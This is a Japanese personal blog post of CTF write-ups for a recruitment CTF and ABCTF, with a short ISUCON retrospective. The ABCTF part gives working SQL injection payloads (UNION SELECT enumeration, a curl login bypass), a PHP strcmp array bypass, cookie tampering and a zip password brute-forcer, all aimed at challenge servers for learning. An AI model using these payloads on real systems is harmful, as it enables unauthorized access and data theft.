眠気

戯言とメモ

シュ~カツctf Writeupその1

大分間が空きましたが元気です。がんばります

色々あって引きこもってました。 現在もわりと引きこもってます。色々あって今にいたります

年末に風邪をこじらせている間にいつの間にか年も越して 気がつけば2月…

最近はCTFなどはにわかに参加しているくらいで 体を壊したり落ち込んだりアレでソレで 特に書く内容もない現状です。

せっかくなので、 他のwriteupさまの内容を見たので、雑ですが書いてみました。


一応シュ~カツ(?)としてネットエージェントさまのシューカツCTF(2017年卒採用特別選考CTF)に参加していました。

前年はusiomisakiにやられてしまっていたので、今年こそは。。。と頑張ってました。

ちなみに自分も最後まで解けてないので、続きをだれか…(以下同文)

mondai1

問題ページのHTMLのソースに去年の問題文があったので、

echo LzYxMDIvcGouaGJwLy86cHR0aA== | base64 -D | rev
http://pbh.jp/2016/

とかして2016の部分を2017にすると見れたので、良かったということで最後まで解いてなかった…です。

一応ちゃんと正攻法?で解きました。 base64でデコードして3文字ずらすだけだったようです

$cat solv.rb 
require 'base64'
Base64.decode64("c2VrMW1zMjUzNDo=").each_char do |s|
   print (s.ord - 3).chr
end
$ruby solv.rb 
pbh.jp/2017

mondai2

マイナンバーらしいです…

755304ac4117729248f05fd12203735598d727dd

MD5の総当りっぽいので頑張ってもらいました。 mondai3.zip:462365337210

mondai3

画像が2つ入ってたのでクリスタで重ねてレイヤーを減算にしたらそれっぽい文字が出たので

mondai4.zip:Macrocheira

mondai4

ポートスキャンすると、3つのポートが空いていたので、

MQTTとRedisとmemcachedにつなげて適当に探せば色々出ました

kurobeとtateyamaで検索したらアルペンルートとか出てきたのでそれをメチャクチャ入れまくってたりしましたが、結局1883+6379+11211というヒントでいけました。

mondai5.zip::kurobetateyamatoyama

あとたまにokayamaとか偽passwordが流れてきてメッチャ迷った。すこぶる困った。

MQTTで遊んでたときの

mondai5

これに4,5日くらいかかってアレでした

某アニメを見てなかったためにヒントにも気付けませんでした。見ました。 txtファイルの更新日時で検索するとこのツイート

が出てくるので、SECCONとかtomorinaoとかかなと思っても出来ず、 zipを眺めまぐったりしたり 試行錯誤の末大文字小文字を総当りすると解凍できました。ESP…

mondai6.zip:TomoriNao

mondai6

適当にdotpeekなどで処理を見ると、しんかんせんえきいんぜで21文字の回文を作れば良いっぽいので

mondai7.zip:しんかんせんえきいんぜんいきえんせんかんし

mondai7

解き方忘れてしまっていたので解き直してました。turai

pcapを読むとそれらしいファイルirainaiyou1.zipをアップロードしている事がわかったり

他にもニコニコ大百科で何か見ていることとかわかるけど結局よくわかんない

irainaiyou1.zipのパスワードっぽい文字列もアップロード時の削除用のhanamogeraくらいで試行錯誤組み替えて試してもダメだったり

結局総当りしようと思い、まずは適当に辞書で回そうとこのような辞書を使わせていただいてこんな感じで適当にやったところ何か出てきたので

$ cat brute.rb 
path = "john.txt"
max = File.read(path).count("\n")
open(path) do |f|
    f.each_line.with_index do |pass,i|
        # puts i.to_s + "/" + max.to_s
        s = system "7za x -p#{pass.chop}  irainaiyou1.zip -aoa > /dev/null 2> /dev/null"
        if s
            puts pass
            break
        end
    end
end%$ ruby brute.rb 
alexander

alexanderでirainaiyou1.zipを解凍

出てきた画像ko'tae.jpgの文字で解凍出来ました

mondai8.zip:ログ・ググザジョ

グロンギ語で「もうすぐだよ」らしいですね。zipのpasswordにunicodeが使いづらかったのでLhaplusを使うと楽でした。

これもわりと苦戦した というか色々アレだった…

mondai8

mondai8は簡単になった方で解きました

truecryptで暗号化されているので、またもや先程の辞書を使わせていただいてtruecrackでアレしたり

passwordが1234なのでマウントすると見えないファイルがいくつかあるので

あとは野菜レシピ.docxのパスワードが何故かpasswordだったので開くと謎フォントの答えが出てくる

ので適当なフォントにいじって

mondai9.zipFadeWhitePearl

mondai9

宇佐美定行
「ワキミウオンズサミウケサワキケキワナオンワゼケサミサケサ
ズキアウオガミゼインミゼケキワキケサインケキケサアナワウイウズキズゼ
アンミガアンケキアウワゼミンズナ
イナアゼワキワンアナミガミガイゼミンミゼミウオンワン
ワサミガミガオガワンケキワナオンケゼアナオキアゼワサミガズガズキインズナ
ミゼアウズキケキアキケキオウイゼイキケサアキズウアキイキケキオサイガミガミゼ
オンイサケガワンケキインケサワキケサアキミゼインミゼケキワキケサインケキケサオガズゼワナオンイガオンイキケキ
イガオンイナワサイウインケキオガイキアウアンケキケサアキミキズナ
アキオンワガアウミキケンオガアンミガオキミガイキアウミキアウ
ミウミガミガオガケゼワキズキケキミゼミゼインミゼケキケゼケキワキオガイナアゼワキワン
イナオキアゼアンアキワンワキオガミキズキケキミンズガオキオゼ
ワウインズウワサミガケゼイキケキオガズキケンケサ

ワキケサインケキケサケンズウオガケナアウミナケキオンケンアキ」

らしいです

宇佐美定行とかで調べると、上杉暗号というのが出てくるので

2文字ずつ使われてる文字を調べたりして

$ cat s.rb
f = open("mondai9.txt")
g0 = []
g1 = []
f.each_line do |l|
 l.split("").each_slice(2) do |n|
 g0.push(n[0])
 g1.push(n[1])
 end
end
p g0.uniq
p g1.uniq
$ ruby s.rb
["ワ", "ミ", "オ", "ズ", "ケ", "ア", "イ"]
["キ", "ウ", "ン", "サ", "ナ", "ゼ", "ガ"]

[“ワ”, “ミ”, “オ”, “ズ”, “ケ”, “ア”, “イ”]と

[“キ”, “ウ”, “ン”, “サ”, “ナ”, “ゼ”, “ガ”]から、

あずみおいわけ と うぜんながさきかなと思って復号化

$ cat uesugi.rb 
# encoding: utf-8
# 上杉暗号
sx, sy =  'あずみおいわけ うぜんながさき'.split
iroha_table = [
  %w(い ろ は に ほ へ と),
  %w(ち り ぬ る を わ か),
  %w(よ た れ そ つ ね な),
  %w(ら む う ゐ の お く),
  %w(や ま け ふ こ え て),
  %w(あ さ き ゆ め み し),
  %w(ゑ ひ も せ す ん "),
]
File.open('mondai9.txt') do |file|
  file.each_line do |enc|
    enc.chop!
    result = []
    enc.split(//).each_slice(2) do |a,b|
      x = sx.index(a)
      y = sy.index(b)
      ch = iroha_table[x][y]
      result << ch
    end
    puts "#{result.join}"
  end
end
$ ruby uesugi.rb 
しようわよんし"ゆうさんねん
かいのたけた"しんけ"んにあやかり
はつは"いされる
ふろしきにつつまれたようき
みつつのき"ゆうひにくろみつをかける
たいか"と"らまてんとちとて"おこつた
うえすき"けんしんとたけた"しんけ"んのりゆうこうて"
こうふみやけ"のていは"んとなる
とうめいなものはつくつていない
よつつのひしか"たたけた"ひ"しのふろしき
ふくろはときしのなか"れをくむ
あけちみつひて"のかもん

しんけ"んもちのせいそ"うもと

信玄餅の製造元は桔梗屋(ききょうや)さんらしいです。

mondai10.zip:桔梗屋

というわけで

エクストリーム編につづく。。。

ISUCON反省文

K氏とチーム名「zoi」で参加してました。

今回は諸事情で学生枠でなく、一般枠で参加しました。

チーム名は時期的に被るんじゃないかなと思ってましたが、やはり被りました。ローマ字の方です。

初参加でした。

最終結果はメモってなかったのでアレなのですが、大体15000~16000くらいだったんじゃないかと思います。

予選落ちです。


準備

ISUCONの勝ち方を見たり、過去のエントリを見たり程度。

せめて当日までに使用言語くらいは決めようという感じであった

来年はもっと準備して挑みたいです(反省

やったこと

雑魚なのでK氏に全部やってもらいました。感謝🙏

結果的にチームとしてやったことは

  • htmlify内で毎回selectしているものを引数にして渡す
  • SELECT *SELECT keyword
  • 毎回ORDER BY CHARACTER_LENGTH(keyword)してるので、charlengthカラムを作ってORDER BY charlengthする
  • entryをredisに入れる/get('/')でredisからとってくる
  • starをredisに入れる/load_starsでredisからとってくる

自分がやったことは

  • kataribeでログ取ったり
  • CHARACTER_LENGTH(keyword)いっぱい入れとく
  • インデックス貼ったり
  • pt-query-digestでSlowLog見ていたり
  • phpにうろたえたり
  • ベンチマ~クのパケット見ようとしたらメチャンコでかくてうろたえたり
  • h2oにしようとして挫折したり

困ったこと

  • redisが入んなくて3,4時間かかってた
  • 参加していた場所のインフラがわりとクソ整備されてなくて、wifiに繋がらなかった
  • てんでsystemdわかんない
  • てんでAzureわかんない
  • starがついていません→ついてない…??

反省

  • SQL全然わかんなくてCHARACTER_LENGTHは複文で何とかなるんだろうけど、一行のupdate文大量に作った
  • 最終点数スクショ取ってない

感想

今回はわりと、楽しもうというテンションで

なんだかんだ準備が不十分だったけれど、

学生枠での本戦が16000くらいだったらしいので、わりといい線だったんじゃないかな、みたいな

不甲斐ないなりにテンションあげてみたり

そんな感じで。

頑張ります はい。いや、頑張るzoi

writeup的な

ABCTFの簡単なのをダラダラやっていて、あとは土日でやろう…

と楽しみに思っていたのですが、いつの間にか終わっていたので、

少し凹んだ。

Writeupがわりと寂しくなっていてショボイですが、覚え書き。

Caesar Salad - Crypt 10

xyzqc{t3_qelrdeq_t3_k33a3a_lk3_lc_qe3p3}

caesar solverなどでグーグル先生に聞いたり

abctf{w3_thought_w3_n33d3d_on3_of_th3s3}

Elemental - Web 10

<!-- 7xfsnj65gsklsjsdkj -->

Just open it - Forensic 15

strings 676F6F645F6A6F625F6275745F746869735F69736E745F7468655F666C6167.jpg |grep   "ABCTF"
ABCTF{forensics_1_tooo_easy?}

GZ - Forensic 30

解凍するだけでした。たしか。

The Flash - Web 35

$ echo "c3RvcHRoYXRqcw==" | base64 -D 
stopthatjs

Drive Home - Recon 50

document/1_TxYCrk5vIMlUjiB1OioXmR7b-Uq_a9aPIh9JyYlPNs/edit?usp=sharing

googleドキュメントのURLっぽいなあと

思っていたら、そんな感じでした。

Chocolate - Web 50

cookieの内容e2FkbWluOmZhbHNlfQ%3D%3Dをデコードしてみて、

$ node -e 'console.log(decodeURIComponent("e2FkbWluOmZhbHNlfQ%3D%3D"))' | base64 -D
{admin:false}

false→trueにしてまた戻したり

Java Madness - Rev 50

引数の文字を逆にしているだけみたいな

$ ruby -e 'puts "ctf coolest the is abctf".split(" ").map{|n|n.reverse}.join("\\  ")' | xargs java what_the_hack
...
Flag: ABCTF{ftc tselooc eht si ftcba}

手で逆にしていったほうが楽…

とりあえずrubyが書きたかった

Hide And Seek - Bin 50

main:
...
0x0000000100000f0c <+28>: cmp    eax,0x0
0x0000000100000f0f <+31>: jne    0x100000f1a <main+42> → 出力しておわり
0x0000000100000f15 <+37>: call   0x100000e70 <totallyNotTheFlag>
...

totallyNotTheFlag:
...
0x0000000100000eb0 <+64>: call   0x100000e00 <decrypt>
...

decrypt:
0x0000000100000e2c <+44>: cmp    rcx,rax
0x0000000100000e2f <+47>: jae    0x100000e63 <decrypt+99> → ret

gdbで適当にdecryptをループさせまくるだけでしょうか

gdb$ b *main+28
gdb$ b *decrypt+44
gdb$ r
gdb$ set $eax=0
gdb$ c
gdb$ set $rcx=0x0
gdb$ set $rax=0x30
gdb$ d 1
gdb$ commands 2
x/s $rdx
set $rcx=0x0
set $rax=0x30
end
gdb$ c

あとはエンター押しまくるだけ…

gdb$ 
Continuing.
0x7fff5fbff510: "CTF{w0w_b1NarY_1s_h@rd}"

MoonWalk - Forensic 60

foremostしました。

L33t H4xx0r - Web 70

source.txt

...
if(strcmp($PASSWORD, $_GET['password']) == 0){
            $success = true;
}else{
            $success = false;
}
...

strcmpのやつでしょうか。

配列で送って…

http://yrmyzscnvh.abctf.xyz/web6/?password[]=a

abctf{always_know_whats_going_on}

そんな感じです。

Get 'Em All - Web 80

よくあるやつですね

' or 1 = 1 ; -- ' ABCTF{th4t_is_why_you_n33d_to_sanitiz3_inputs}

JS Pls - Rev 80

これ

base64をデコードして難読化された部分を見やすくするために、

&&のところで改行したあと、

メチャンコ読みづらいところを実行して文字列にしておくとわりと読みやすくなったので、

あとはわりと手作業でした。

process.stdin.resume();
process.stdin.setEncoding('utf8');
console.log('Give me a flag');
process.stdin.on('data', function (a) {
    a = a.trim();
    19 === a.length
    &&
    a.substr(0, '5')  === "ABCTF"
    &&
    a['5'].charCodeAt(0) === a['18'].charCodeAt(0) - 1 - 1
    &&
    123 === a['5'].charCodeAt(0)
    &&
    a.substr('6', '4') === Object.keys(process.versions)[1]
    &&
    a['10'] === a['13']
    &&
    95 === a['10'].charCodeAt(0)
    &&
    a.substr('11', 2) === (typeof x)['5'] + (typeof a)[0]
    &&
    a.substr('14', '4') === "w4Ck"
    &&
    (console.log('nice job!'), process.exit());
    console.log('nope!');
    process.exit();
});

上から順に、

  • 19文字
  • 0~5はABCTF
  • 最後は}
  • 5文字目は{
  • 6~9文字目node
$ node -e "console.log(Object.keys(process.versions)[1])"
node
  • 11文字目と13文字目は一緒
  • 10文字目は_
node -e "console.log(String.fromCharCode(95))"
_
  • 11~12文字目はis

console.log((typeof x)['5'] + (typeof a)[0])をつっこんでみる

  • 14~17文字目はw4Ck

ということがわかるので、

まとめると、ABCTF{node_is_w4Ck}みたいな感じで。

もう少し効率よく頑張りたい…そんなこの頃。

Reunion - Web 150

?id=sleep(1)とか?id=1 or 1=1 ; --やると時間がかかったり全部出てきたりするので'いらないんだなとか分かったり

こんな感じかな

select * from Dog where id = $_GET['id']

みたいな感じで

unionのカラム数を1 union select 1,1,1みたいな感じで増やしていくと

カラム数は4つだとわかるので、

とりあえずテーブル名が欲しいので

1 AND 1=2 UNION SELECT table_schema, table_name ,1,1  FROM information_schema.tables ; --
...
Color: 1
Name: INNODB_BUFFER_PAGE_LRU
Breed: information_schema
Color: 1
Name: w0w_y0u_f0und_m3
Breed: webeight
Color: 1
Name: webeight
...

w0w_y0u_f0und_m3テーブルが怪しい。何だ

1 AND 1=2 UNION SELECT *,1,1,1 FROM w0w_y0u_f0und_m3 ; --

abctf{uni0n_1s_4_gr34t_c0mm4nd}

的な感じで

Inj3ction - Web 170

login.txt

...
$username = $_POST["username"];
$password = $_POST["password"];
$query = "SELECT * FROM users WHERE username='$username'";
$result = mysqli_query($con, $query);
$logged_in = false;
if(mysqli_num_rows($result) === 1) {
   $row = mysqli_fetch_array($result);
   if($row["password"] === $password){
    $logged_in = true;
    if($row["is_admin"] === true){
        echo("<h1>Wow! Your flag is: $flag </h1>");
     }
   }
}
...
  • 1行
  • 結果のpasswordがPOSTされたpasswordと一致
  • is_adminがtrue

を満たす結果をunionすれば良いのかな こんな感じで

1' union select 1,1,'pass',true ' ;--

みたいな

curl -X POST http://yrmyzscnvh.abctf.xyz/injection3/login.php -d username="1' union select 1,1,'pass',true ' ;--" -d password=pass
<h1>Wow! Your flag is: ABCTF{wait?_there's_more?} </h1>

そんなこんなでした。頑張ります。

あと、開催期間はちゃんと把握しておきます。ええ。